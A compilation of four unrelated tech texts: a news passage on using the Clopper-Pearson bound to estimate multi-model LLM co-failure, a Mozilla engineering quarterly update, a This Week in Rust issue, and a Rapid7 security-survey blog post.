The Clopper-Pearson bound operates as a worst-case scenario calculator. If you flip a coin ten times and get eight heads, you cannot guarantee the coin will land on heads 80% of the time forever. The bound takes a small sample of test questions and outputs a mathematically guaranteed ceiling.

Applied to language models, suppose a team tests a pool of five agents on 50 sample queries and finds they all fail together on just two questions. A developer might assume their multi-agent system will achieve 96% accuracy in production. The Clopper-Pearson formula corrects this optimism. It analyzes the small sample size and provides a mathematical guarantee that the true co-failure rate could actually be as high as 12%.

To use this in practice, enterprises must build a held-out dataset. A fintech company, for example, could take 200 complex customer support tickets from the previous quarter and have human agents write perfect resolutions to serve as a benchmark. While this sounds like a heavy manual project, mature engineering teams can automate the entire ceiling calculation.

"Integration is trivial: it's a counting job over eval logs teams already produce," Chen notes, "so it runs in the same CI stage as the eval suite and re-triggers whenever the model pool or the workload changes."

The engineering team then runs its candidate models against these 200 tickets once and records the results. When they want to evaluate multi-model configurations, they can use the co-failure rate measure to predict the maximum accuracy they can get from the system without running extra queries.

One important conclusion the study draws is that on tasks where answers can be definitively checked, combining models rarely beats using the single best model on the market, unless the team possesses an exceptionally strong query-level routing signal.

In an enterprise environment, a definitively checked task has an objective, zero-tolerance answer. This includes generating a SQL query that must execute without error, extracting a specific invoice total from a 50-page PDF, or formatting a JSON payload that perfectly matches a strict schema. For these tasks, enterprises are usually better off paying a premium for the smartest frontier model rather than weaving together three cheaper models and hoping a router picks the correct output. The study didn't test subjective, ungraded tasks like drafting marketing copy — the authors note that whether these findings hold outside their verifiable benchmarks remains an open question.

Because this mathematical check is free, enterprise teams can track their own co-failure rates as new models drop.

"The measurement costs nothing, so any team can track its own co-failure rate across model generations and watch whether the tail is closing," says Chen. Ultimately, "the lever buyers hold is failure-mode heterogeneity and market churn, not model count."

Highlights

• Improved mach startup overhead by 30-50%, as well as a 75% improvement for mach test on Windows and 10s faster configure for subsequent runs

• Moved to weekly scheduled dot releases and faster rollouts, allowing us to deliver fixes and uplifts to users faster and more reliably

• Created a huge number of dashboards to help developers dig into Mochitest and XPCShell tests

• Stood up MacOS worker pools that can run multiple tasks at once using VMs, greatly improving our Mac capacity issues

• Can now navigate to about:pdf in Nightly to open and edit arbitrary PDF files, including the ability to set Firefox as your default PDF editor on MacOS

Detailed Project Updates

AI for Development

• Suhaib Mujahid deployed the initial version of Hackbot, a platform for building and running AI agents to automate parts of the Firefox development workflow.

• Evgeny Pavlov ported the “Build Repair Agent” to Hackbot and deployed it for testing. It now monitors Firefox build failures and triggers the agent. When an analysis and a proposed patch are ready developers can be notified by email.

Bugzilla

• David Lawrence added a new GitHubPullRequests extension that renders a live status panel in the bug modal for any attachment whose content type is text/x-github-pull-request. A new REST endpoint fetches PR metadata (state, author, labels, latest review per reviewer) from the GitHub REST API on demand, and a client-side script populates a table with a “show closed/merged” toggle.[image]

• Xavier L’Hour improved the user experience for developers, adding shortcuts to buglist.cgi for all, open, or closed bugs (1764713)

• Xavier L’Hour added a new shortcut button to the bug page that allows users to quickly move spam bugs to the Invalid Bugs product (1684509).

Build System and Mach Environment

• Alex Hochheiden has been moving build system logic out of make to pave the way for a new build system backend (coming soon). See Bug 2038789.

• Alex Hochheiden landed a 30%-50% (platform dependent) speedup for mach startup. See Bug 1775197.

• Alex Hochheiden sped up subsequent configure runs by ~10s by adding caching to the mach taskgraph toolchain step. See Bug 2017746.

• Alex Hochheiden reduced mach test startup overhead on Windows by 75%. See Bug 2018327.

• Alex Hochheiden has achieved significant code deduplication and simplification by consolidating the Android Gradle configuration into convention plugins. There were also various Gradle configure-cache improvements. See Bug 2007013, Bug 1950099, Bug 2013417, Bug 2017752, and Bug 2017753.

Firefox-CI

• Julien Cristau added support for interactive tasks (aka one click loaners) on Windows and macOS

• Andrew Halberstadt implemented mach try support with Github, being used in mozilla/enterprise-firefox-try and coming to Firefox soon.

• Andrew Halberstadt implemented the machinery to start making Gecko CI tasks clone from Github.

• Ryan Curran brought Firefox CI’s Apple Silicon VM infrastructure into production. Building on the MacOS CI image pipeline established last year, he migrated test suites onto virtual machines and grew the macosx1500-aarch64-vms pool so Taskcluster now routes eligible jobs to VMs alongside physical hardware. This reduces reliance on physical Macs, increases CI capacity, and supports the ongoing migration off of older Intel-based macOS infrastructure

• Jonathan Moss migrated Firefox CI’s cloud-based Windows testing from Windows 11 24H2 to 25H2, moving the bulk of Firefox’s Windows test coverage to Microsoft’s latest platform and keeping CI aligned with the Windows version most commonly used by Firefox Desktop users

• Florian Quèze created many dashboards to help dig into Mochitests and XPCShell tests

• Ryan VanderMeulen landed a set of improvements to mach try chooser. The update adds an exclude filter, a clearer preview pane with removable job rows, an artifact-builds toggle, and a warning when a selection exceeds task-prioritization thresholds. It also fixes a bug where choosing Firefox for Android jobs would unintentionally clear selections for other platforms.

Lint, Static Analysis and Code Coverage

• Valentin Rigal and Bastien Abadie created a Code Review Bot prototype for publication of review comments using various source linters on Github

• Morgan Rae Reschenberg added support for accessibility review to Code Review Bot

Mozregression

• Zeid fixed a bug in mozregression-gui on macOS, where the camera and microphone capture request was getting rejected (released in 7.3.0). Thanks to bug report + tip from Andreas Pehrson.

PDF.js

• Calixte added about:pdf to use an entrypoint for opening and editing arbitrary PDF files[image]

• Calixte added support for playing videos/sounds embedded in PDF files

Phabricator , moz-phab, and Lando

• Connor Sheehan improved the uplift experience by leveraging Lando to manage the assessment forms, train selection, and automatic application, so conflicts are detected earlier. The number of uplifts via Lando has out-paced those via Moz-Phab, and sailed through the rise in uplift numbers (likely due to more sec-bugs getting fixed and uplifted).

• Zeid added support for private GitHub repositories in Lando, allowing security patches to be implemented in a private clone of a repo, and pushed to the public one.

• Olivier Mehani finalized support for using the new Lando instance for try-pushes. This brings a host of QoL improvements which weren’t backported to the old instance: better UTF-8 support, smarter conflict resolution and improved security and authentication. It is now processing about 1500 pushes / week (old Lando still processes about 50 / week).

• Magnolia Liu implemented automatic pushes to Try for uplift requests, for faster feedback in case of issues.

• Olivier Mehani added a view of a user’s current and recent jobs on the landing page of Lando when authenticated.

• Zeid identified and fixed the causes of some stability and reliability issues in Lando, which were causing increased downtime during deployments and on an ongoing basis.

• Olivier Mehani deployed a PoC of reviewer selection on the GitHub pilot, allowing Herald-like mechanisms to GitHub PRs.

• Olivier Mehani and Connor Sheehan (with Corey Bryant and Daniel Darnell) migrated the COMM project to GitHub https://github.com/thunderbird/thunderbird-desktop, sharing Firefox’s syncing model.

Release Management and Engineering

• Donal Meehan drove the Release Management team’s move to a weekly scheduled dot release cadence for Desktop and Android, starting with Firefox 151. This allows us to deliver fixes and approved uplifts to users faster and more predictably. This change is expected to reduce unplanned releases, improve release flexibility, and create a more consistent release rhythm across teams.

• Dianna Smith drove the update to the Release Management team’s Desktop major release rollout process, starting with Firefox 152. Instead of throttling to 0% on day 2, it will remain at 25% rollout for two days before moving to 100%, unless any issues arise. This should help us collect uptake and stability signals earlier while still allowing time to catch problems before full rollout.

• Pascal Chevrel completed the update to the dictionaries shipped with Firefox Desktop. The update added eleven new dictionaries, covering Croatian, English (UK), Georgian, Persian, Slovenian, Tajik, Tamil, Tibetan, Turkish, Welsh, and Xhosa, and refreshed nine others. This expanded the number of locales with a built-in spellchecker from 30 to 41 beginning in Firefox 152. Special thanks to Francesco Lodolo, Bryan Olsson, and the localization community for reviewing the patches and helping assess the quality of the dictionaries.

• Pascal Chevrel delivered a range of improvements to WhatTrainIsItNow, including expanded it to cover weekly dot releases and ESR planned dot releases, added new uplift views including a dot-release uplifts page and a beta uplift graph, and published new APIs that surface train-selection and uplift guidance inside Lando. He also made performance improvements and a steady stream of fixes across the site.

• At Pwn2Own 2026, Firefox came through with no successful exploits, thanks to preparation across many teams and individuals. Within Release Management, Ryan VanderMeulen drove pre-event patch readiness and Dianna Smith coordinated the releases during the event, including the 150.0.3 dot release, which mitigated the root cause behind several of the contest entries.

• Dianna Smith built out release-health monitoring and alerting in Bigeye, giving Release Management a growing set of automated alerts that surface data anomalies earlier to aid in release health and regression detection. To make the capability easy to extend, she also created a guide for other teams to add monitoring and alerts for the areas they know best. Teams that want an earlier signal on their own metrics are encouraged to use the guide and help grow the coverage.

Release Operations

• Ryan Curran built Hangar, a live dashboard for monitoring Firefox CI’s worker pools. It consolidates fleet data from several systems into one view, giving Release Operations a single place to check fleet health and catch problems such as missing or quarantined workers early.

• Ryan Curran created the iOS version of BuildWatch, and Andrew Erickson ported it to Android. BuildWatch lets you monitor Firefox CI try pushes from your phone, including live per-platform build status, failure summaries, and one-tap retriggers. It uses only public APIs, so no VPN is required.

• Andrew Erickson and Mark Cornmesser developed Fleetbench, a tool for benchmarking Firefox CI workers. It currently measures CPU and ADB/USB I/O performance, helping Release Operations identify slow or outlier hosts before they skew performance test results such as Speedometer and trigger noisy or false regressions.

• Andrew Erickson built Pool Classifier, a web app for viewing per-worker success rates across Taskcluster worker pools. It classifies newly completed tasks every 15 minutes, giving Release Operations a continuously updated view of worker health and helping surface problematic workers proactively.

• Andrew Erickson created Fleetroll, a command-line tool Release Operations uses to manage and monitor long-running Linux, macOS, and Windows hardware hosts in Firefox CI Taskcluster. It deploys Puppet branch overrides and Vault secrets, audits what is actually applied, and surfaces each host’s Puppet and Taskcluster state in a live dashboard.

• Mark Cornmesser built out a set of new worker-metrics dashboards in Yardstick, giving Release Operations clearer real-time visibility into the health of the Firefox CI hardware fleet. These include Linux worker status, Windows worker CPU and disk metrics, and a Windows job pickup and wait timeline, with alerting on key thresholds. The full set lives in the FXCI Hardware Workers folder in Yardstick.

• Jonathan Moss expanded cloud cost reporting in Looker, adding Azure support alongside the existing GCP data and a cloud-provider filter on the FXCI task overview dashboard. The team can now break down Firefox CI compute costs by cloud provider, making it easier to track and compare spend across Azure and GCP.

Taskcluster

• Yaraslau Kurmyza added Azure fast deprovision taskcluster#8790 and concurrency taskcluster#8815 to improve worker scanner performance. This shows ~2x-4x scan time improvements already.

• Contributor nitishagar and Yaraslau Kurmyza added patches taskcluster#8514, taskcluster#8784 to support compression in Taskcluster services API and Yarik worked with Fastly to resolve broken brotli support on the WAF edge side. Now services transmit significantly less data.

• Yarik added a dedicated service account to log with read only permissions webservices-infra#11197. This allows tc-logview to be used safely by untrusted agents inside containers with narrow short-lived access tokens.

• Yarik published queue forecasting dashboard experiments that continuously collects task events and trains models to enable and improve predictions on a task level (how long will it run, and when will it start). With future plans including extending it to the whole task group (mach try)

Treeherder

• Florian Quèze added treeherder#9540 “Show task group profile” item to the push action menu

• Cameron Dawson, juungo and moijes12 implemented various Treeherder API performance improvements

• Heitor Neiva added Git branch labels to pushes in Treeherder

• Andrew Halberstadt implemented the ability for Treeherder to display multiple Git branches at once, enabling support for “try like” repositories in Github

Version Control

• Upgrade hg.mozilla.org to Mercurial 7.2.2

• Created the mozilla-esr153 and comm-esr153 repositories.

Other

• Sylvestre converted our documentation from reStructuredText to MyST flavored Markdown

Thanks for reading and see you next quarter!

1 post - 1 participant

Read full topic

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

• Maintainer spotlight: Gen Li (@rami3l)
• Together for a healthier Clippy

Newsletters

• The Embedded Rustacean Issue #75

Project/Tooling Updates

• copper-rs v1.0.0: the open source deterministic robotics OS is now stable.
• Rayfish: Your own private network. No servers, no setup.
• rama v0.3.0 — network service framework ready to be used by the wider Rust community
• kache 0.9.0: supply-chain hardening + read-only CI cache
• GuardianDB - PostgreSQL and P2P/Local-First Together
• Nectar: a Rust-like language that compiles your whole web app to WebAssembly
• logdrain: Fast, Embeddable Log-Template Mining in Rust
• sheathe: Packaging the World's Video in Pure Rust
• wickra: streaming-first technical indicators
• Xcelerator Solver v0.1.0 -- deterministic symbolic regression
• dlt-tui 1.1.0 - a fast TUI viewer for automotive DLT (AUTOSAR Diagnostic Log and Trace) files
• RSSH v0.2.11 — terminal workflows, safer SSH key import, and observable AI ops
• k8s-scale-app-rs: Scale or Restart a Kubernetes Deployment from a CronJob
• M-vis v0.5.0-rc1 update
• FlareDB: An Apache Beam Native Streaming Database built in Rust
• mqtt-typed-client 0.2: a type-safe async MQTT client on rumqttc
• RootAsRole: v4.0.0 Major release, secure execution, new logo
• A Cross-Platform Rust UI Framework via Qt’s Bridging Technology
• Jam Programming Language
• Sōzu 2.1.0: UDP load balancing for the programmable edge
• b0nker: a minimal container runtime written in Rust

Observations/Thoughts

• [video] Rust Berlin Meetup 25/06/2026 Livestream
• [video] How do you rewrite C/C++ projects to Rust? – JetBrains interview with Luca Palmieri, Mainmatter
• Investigating why RustCrypto is slow: Deep dive into SIMD instructions and hardware acceleration
• bool as u32
• A Rust-to-Lean Verification Pipeline with AI Provers: An Experience Report
• Work In Progress Rust
• [video] OpenAI just spent $600k on Rust
• [audio] Rising Academies with Dylan Brown - Rust in Production Podcast

Rust Walkthroughs

• [series] Bevy Tutorial: Build Your First 3D Editor - Create a 3D Space on an Infinite Grid
• Learn Axum Basics and Routing by Building a URL Shortener
• [series] Rama 101.1: HTTPS clients and layers of abstraction

Miscellaneous

• Clickable euler diagram of all the Rust week talks

Crate of the Week

This week's crate is apis-saltans, a Zigbee implementation including a coordinator API.

Thanks to Richard Neumann for the self-suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

* Protocol - Extend bit-exactness tests to f64 reconstruction targets
* Dofigen - No image tag replacement flag for the generate command

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

598 pull requests were merged in the last week

Compiler

• enable eager param_env norm in new solver
• lint on core::ffi::c_void as a return type
• polish some macro parsing code
• resolve: no allocation in resolve_ident_in(_local)_module_*
• simplify option-iterator flattening in the compiler
• stabilize #[my_macro] mod foo; (part of proc_macro_hygiene)

Library

• add std::io::cursor::WriteThroughCursor
• implement Box::as_non_null()
• implement DoubleEndedIterator::next_chunk_back
• implement IntoIterator for [&[mut]] Box<[T; N], A>
• implement ptr::{read,write}_unaligned via repr(packed)
• move SizeHint and IoHandle to core::io
• move std::io::Seek to core::io
• optimize ArrayChunks::try_rfold with DoubleEndedIterator::next_chunk_back
• stabilize feature(atomic_from_mut)

Cargo

• bindeps: register transitive artifact targets
• avoid cloning parsed TOML manifest in ManifestErrorContext
• avoid extra clone of parsed TOML manifest
• remove unneeded cloning when parsing package index
• change HashMaps and HashSets in Cargo to use Fxhasher
• do not pass lint rustflags when --cap-lints=allow is set
• fixed Compilation::deps_output only taking the last dep
• pre-allocate a few vectors
• stabilize build-dir layout v2
• use a set when checking visited workspace members

Rustdoc

• fix crash when trying to inline foreign item which cannot have attributes
• show use-site paths for unevaluated const array lengths

Clippy

• chunks_exact_to_as_chunks: Don't report expressions with const parameters
• chunks_exact_to_as_chunks: Don't report expressions with type params
• missing_trait_methods: MSRV/unstable awareness
• vec_init_then_push: don't lint pushes from a macro expansion
• inline_modules: ignore cfg(test) modules in test builds
• match_same_arms: keep arm-level expectations working under an outer allow
• unnecessary_operation: avoid bad ! suggestions
• unnecessary_unwrap_unchecked: don't trigger inside the _unchecked fn
• add required parentheses when the needless_bool suggestion is an operand
• fix ICE when resolving local in unnecessary_unwrap_unchecked
• fix infinite_loop false positive inside gen blocks
• fix manual_c_str_literals suggestion when the trailing backslash is escaped
• fix strlen_on_c_strings incorrect suggestion logic
• fix suspicious_operation_groupings duplications
• lint bit width
• optimize Msrv::meets calls
• bail out of unicode lint scans when the snippet is pure ASCII
• skip the HIR parent walk in is_in_test_function when there are no test items
• place generated impl block after the existing impl block
• refactor StringAdd lint pass
• refactor suspicious_xor_used_as_pow
• remove lower_ty in uninhabited_reference
• respect the configured MSRV in manual_is_variant_and's map() == Some(_) rewrite
• rewrite mut_mut
• rewrite redundant_else as a late pass
• rewrite tuple_array_conversions

Rust-Analyzer

• SCIP: exclude leading/trailing trivia in definition ranges
• SCIP: remove dead inlay_hints field
• feat(ide-diagnostics): add diagnostics for invalid union patterns (E0784)
• internal(query-group-macro): remove the arity test
• add tree top method to Syntax node
• add handler for E0627
• supports multi arms for replace_match_with_if_let
• fix UB in smol_str borsh_non_utf8 test cases
• fix generic param for generate_default_from_enum_variant
• walkthrough_create_project file not packaged
• assertion failure on closure with unbound function
• avoid panic in convert_tuple_struct_to_named_struct on nested pattern usage
• configuration syntax for nvim-lsp
• correct resolution to value when it shares the same name with type
• exclude impls on the error type from impl enumeration
• fix crash on extract_variable when selecting unresolved macro call
• fix crash on completion inside macros
• fix handling of params of coroutine fns
• handle more cases of cfgs in expr store lowering
• no generate with default assoc item
• panics in unwrap_return_type, remove_underscore, and promote_local_to_const
• hoist attribute qualifier segment collection
• reduce parser joint-token allocation
• project-model: don't pass metadata extra args to sysroot
• project-model: introduce cargo.configPath
• provide startup time to ready log point and associated benchmark

Rust Compiler Performance Triage

This week was dominated by wild swings in benchmarks of the new-solver, which is not enabled by default, yet. Apart from that, we got a very few notable changes, only one unexpected speedup from a bugfix in rustdoc.

Triage done by @panstromek. Revision range: 7dc2c162..3659db0d

Summary:

1 Regression, 1 Improvement, 4 Mixed; 3 of them in rollups 17 artifact comparisons made in total

Full report here

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

• No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

• Lint against invalid POSIX symbol definitions
• Document NonNull layout guarantees
• Tracking Issue for slice_split_once

• Let the OS handle stack growth
• Add target_feature_available_at_call_site

• Empty repr(Rust) enums are ZSTs

No Items entered Final Comment Period this week for Cargo, Language Team, Leadership Council, Rust RFCs or Unsafe Code Guidelines.

New and Updated RFCs

• Update RFC template
• RFC: Store registry tokens in the OS credential store by default

Upcoming Events

Rusty Events between 2026-07-08 - 2026-08-05 🦀

Virtual

• 2026-07-08 | Virtual (Cardiff, GB) | Rust and C++ Cardiff
• Operating Systems Book Club: Introduction + Processes
• 2026-07-08 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-07-09 | Virtual (Nürnberg, DE) | Rust Nuremberg
• Rust Nürnberg online
• 2026-07-14 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
• Second Tuesday
• 2026-07-15 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-07-15 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
• Jiff
• 2026-07-16 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
• July, 2026 SRUG (Seattle Rust User Group) Meetup
• 2026-07-16 | Virtual (Berlin, DE) | Rust Berlin
• Rust Hack and Learn
• 2026-07-19 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
• Rust Deep Learning: Third Sunday
• 2026-07-21 | Virtual (London, UK) | Women in Rust
• Lunch & Learn: Learning Rust as First Programming Language
• 2026-07-21 | Virtual (Washington, DC, US) | Rust DC
• Mid-month Rustful
• 2026-07-22 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
• Fourth Tuesday
• 2026-07-29 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
• Rust Hack and Learn
• 2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
• Rust Deep Learning: First Sunday
• 2026-08-04 | Virtual (London, GB) | Women in Rust
• 👋 Community Catch Up
• 2026-07-29 | Virtual (Girona, ES) | Rust Girona
• Sessió setmanal de codificació / Weekly coding session
• 2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
• Indy.rs - with Social Distancing

Asia

• 2026-07-18 | Bangalore, IN | Rust Bangalore
• July 2026 Rustacean Meetup

Africa:

• 2026-07-14 | Johannesburg, ZA | Johannesburg Rust Meetup
• Debugging a production grade Open Source Rust crate

Europe

• 2026-07-08 | Dublin, IE | Rust Dublin
• Join us live and INPERSON for Rust 262
• 2026-07-09 | Berlin, DE | Rust Berlin
• Rust Berlin on location 🏳️‍🌈 - Edition 015
• 2026-07-09 | Frankfurt, DE | Rust Rhein-Main
• Building Cross Platform Applications with Ply
• 2026-07-09 | Switzerland, CH | PostTenebrasLab
• Rust Meetup Geneva
• 2026-07-15 | Dortmund, DE | Rust Dortmund
• Teach and Hack at Projektspeicher
• 2026-07-21 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
• Supercharge Rust funcs with implicit arguments and context-generic programming
• 2026-07-23 | Berlin, DE | Rust Berlin
• Rust Berlin Talks: The next generation
• 2026-07-23 | London, UK | London Rust Project Group
• Rama modular service framework for Rust
• 2026-07-23 | Paris, FR | Rust Paris
• Rust meetup #87
• 2026-07-30 | Manchester, GB | Rust Manchester
• Rust Manchester July Code Night

North America

• 2026-07-09 | Lehi, UT, US | Utah Rust
• Utah Rust July Meetup
• 2026-07-09 | Mountain View, CA, US | Hacker Dojo
• RUST MEETUP at HACKER DOJO
• 2026-07-11 | Boston, MA, US | Boston Rust Meetup
• MIT Rust Lunch, July 11
• 2026-07-15 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
• Jiff
• 2026-07-16 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
• July, 2026 SRUG (Seattle Rust User Group) Meetup
• 2026-07-18 | Boston, MA, US | Boston Rust Meetup
• North End Rust Lunch, July 18
• 2026-07-21 | San Francisco, CA, US | San Francisco Rust Study Group
• Rust Hacking in Person
• 2026-07-22 | Austin, TX, US | Rust ATX
• Rust Lunch - Fareground
• 2026-07-22 | Los Angeles, CA, US | Rust Los Angeles
• Rust LA: Rust in Distributed Systems with Flight Science!
• 2026-07-25 | Boston, MA, US | Boston Rust Meetup
• Porter Square Rust Lunch, July 25
• 2026-07-25 | Brooklyn, NY, US | Flower
• BOG-A-THON 2
• 2026-07-30 | Atlanta, GA, US | Rust Atlanta
• Rust-Atl
• 2026-08-01 | Boston, MA, US | Boston Rust Meetup
• Chinatown Rust Lunch, Aug 1
• 2026-08-04 | Boston, MA, US | Boston Rust Meetup
• Evening Boston Rust Meetup at Red Hat, Aug 4

Oceania

• 2026-07-09 | Brisbane City, QL, AU | Rust Brisbane
• Rust Brisbane • July 2026
• 2026-07-21 | Barton, AU | Canberra Rust User Group
• July Meetup
• 2026-07-23 | Perth, AU | Rust Perth Meetup Group
• Rust Perth: July Meetup!
• 2026-07-30 | Melbourne, AU | Rust Melbourne
• Rust Melbourne July 2026

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

if a ptr is dereferenced in a forest and nobody hears it, is it sound?

– Kornel on rust-users

Thanks to Cerber-Ursi for the suggestion!

Please submit quotes and vote for next week!

This Week in Rust is edited by:

• nellshamrell
• llogiq
• ericseppanen
• extrawurst
• U007D
• mariannegoldin
• bdillo
• opeolluwa
• bnchi
• KannanPalani57
• tzilist

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

For many teams, the direction is clear: security needs to become more proactive, more connected, and more resilient. Attackers are moving quickly, environments are expanding, and teams are under pressure to reduce risk before it turns into business disruption. But the survey results show that most organizations are still somewhere in the middle of that journey.

Where organizations are today

One of the clearest findings is that security operations are increasingly collaborative. According to the survey, 57% of respondents operate in a hybrid internal and MDR model. That reflects a reality many teams know well: internal expertise remains essential, but external support can help extend coverage, add specialist knowledge, and support faster response when internal resources are stretched.

This hybrid model also speaks to the complexity security teams are managing. Modern environments span cloud, identity, endpoints, applications, third parties, and expanding attack surfaces. Keeping watch across all of it requires more than tooling alone. It requires the right mix of people, process, visibility, and support.

At the same time, many organizations are still working to connect the dots across their security ecosystem. Two-thirds of respondents said their security capabilities are only partially integrated. For analysts, partial integration often means more manual work: switching between tools, stitching together context, and making decisions with an incomplete picture. When teams are jumping between systems, manually stitching together context, or working from incomplete data, it becomes harder to act at the speed modern threats demand.

The survey also showed that only 10% of respondents describe their organization as “highly proactive” in predicting and preventing threats, which points to the reality of where many teams are today. The ambition is there, but becoming truly preemptive takes time, integration, and operational maturity. Most organizations are still balancing the day-to-day demands of reactive response with the longer-term work of building a more proactive security model.

Confidence levels tell a similar story. 59% of respondents said they are only somewhat confident in their organization’s ability to prevent attacks before impact. Security teams understand what is at stake, but many still lack full confidence that they can consistently stop threats before they affect the business.

AI is a priority, but trust matters

AI was, of course, another major theme in the survey. Interest is high, especially when it comes to improving efficiency, accelerating triage, and helping teams manage growing volumes of data and alerts, but adoption is still developing. 52% of respondents said AI is in early-stage exploration within their security operations.

AI has clear potential in the SOC and across security operations, from summarizing investigations to enriching alerts, supporting prioritization, and helping analysts move faster. But security teams have to be deliberate about how they apply it. In high-pressure environments where accuracy, context, and accountability matter, AI needs to earn trust.

The survey results show that trust is still a key consideration. 57% of respondents cited securing AI usage as a top AI and security concern, while 44% cited lack of transparency or trust. These responses reflect a practical mindset. Security leaders are thinking about both sides of AI: how it can help defenders move faster, and how to manage the new risks it introduces. Internally, for AI to become operationally valuable, it has to fit into existing workflows, provide explainable outputs, and support human expertise.

What security teams want next

When respondents were asked what is preventing them from becoming more proactive, the top challenges were practical and familiar. 54% cited limited staff or expertise, making capacity one of the biggest barriers to progress. Teams may have the ambition to become more preemptive, but many are already balancing daily alert queues, incident response, vulnerability backlogs, compliance pressure, and business-as-usual security demands.

Visibility is another major factor. 31% of respondents cited lack of visibility across the environment as a barrier to becoming more proactive. Without a clear view of assets, identities, exposures, and attacker activity, teams struggle to prioritize what matters most. This is especially important as organizations look to move from broad detection toward more risk-aware, preemptive action.

The priorities respondents selected show where they want to go next. 41% selected preemptive security as a top security leadership priority, while improving resilience, strengthening incident response, reducing complexity, and improving risk visibility also appeared as recurring themes.

The findings from our Global Security Summit make one thing clear: security teams are ready to move toward more proactive, integrated, and AI-enabled operations, but they need the right visibility, expertise, and confidence to do it well.

To hear more from the experts and practitioners who joined us at the summit, catch up on the on-demand sessions. And to learn how Rapid7 is helping organizations move toward preemptive security, explore Rapid7 Managed Detection and Response, built to disrupt attackers earlier with broad ecosystem coverage, risk visibility, expert guidance, and an AI-powered SOC.